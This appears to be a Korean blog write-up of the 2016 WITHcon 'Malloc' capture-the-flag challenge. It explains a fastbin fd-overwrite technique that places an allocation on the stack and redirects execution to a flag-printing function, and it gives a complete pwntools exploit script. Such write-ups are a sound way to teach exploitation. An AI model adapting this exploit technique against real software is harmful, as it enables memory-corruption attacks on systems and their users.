2016 WITHcon Malloc
CTF2018. 1. 22. 07:55
어렵지만 익스 코드가 길지 않은 문제다.
문제를 실행하자마자 스택주소를 준다. 그리고 사이즈는 fastbin만 할당이 된다.
스택주소 & fastbin라고 하면 fastbin_dup_into_stack 이 생각나서 쓰면 되지만 나는 그냥 1 과 2를 free 하면 2번에 fd가 생기도록 한 다음에 그 fd를 스택주소 - 0x58을 해준다. (0x58을 해주는 이유는 그 부분에서 입력한 사이즈가 들어가기 때문에 size 다음에 data를 넣으려고 하기 때문이다. 아니면 오류남)
2를 다시 할당하고 또 할당하면 스택주소 - 0x58에 할당하게 된다. 그러면 이제 malloc 다음에 break 주소를 flag 출력 함수로 덮어버리면 된다. (flag 출력함수는 아예 문제에서 준다.)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | from pwn import* p = process("./malloc") def malloc(size,data): p.sendlineafter("> ","1") p.sendlineafter(":",str(size)) p.sendafter(": ",data) def free(num): p.sendlineafter("> ","2") p.sendlineafter(": ",str(num)) def list(): p.sendlineafter(" > ","3") def modify(num,data): p.sendlineafter("> ","4") p.sendlineafter(": ",str(num)) p.sendafter(": ",data) print p.recvuntil(" : ") stack = int(p.recv(14),16) malloc(32,"A"*4) malloc(32,"B"*4) free(1) free(2) print "STACK: "+ hex(stack) attack = 0x400986 modify(2,p64(stack - 0x58)) malloc(32,"C"*4) malloc(48,"A"*24+p64(attack)) p.interactive() | cs |
'CTF' 카테고리의 다른 글
2017 acebear CTF easy_heap (0) | 2018.01.30 |
---|---|
2017 codegate Babypwn (2) | 2018.01.25 |
2016 Hitcon sleepy holder (0) | 2018.01.21 |
2016 Hitcon secret holder (0) | 2018.01.21 |
2017 Codegate messenger (0) | 2018.01.06 |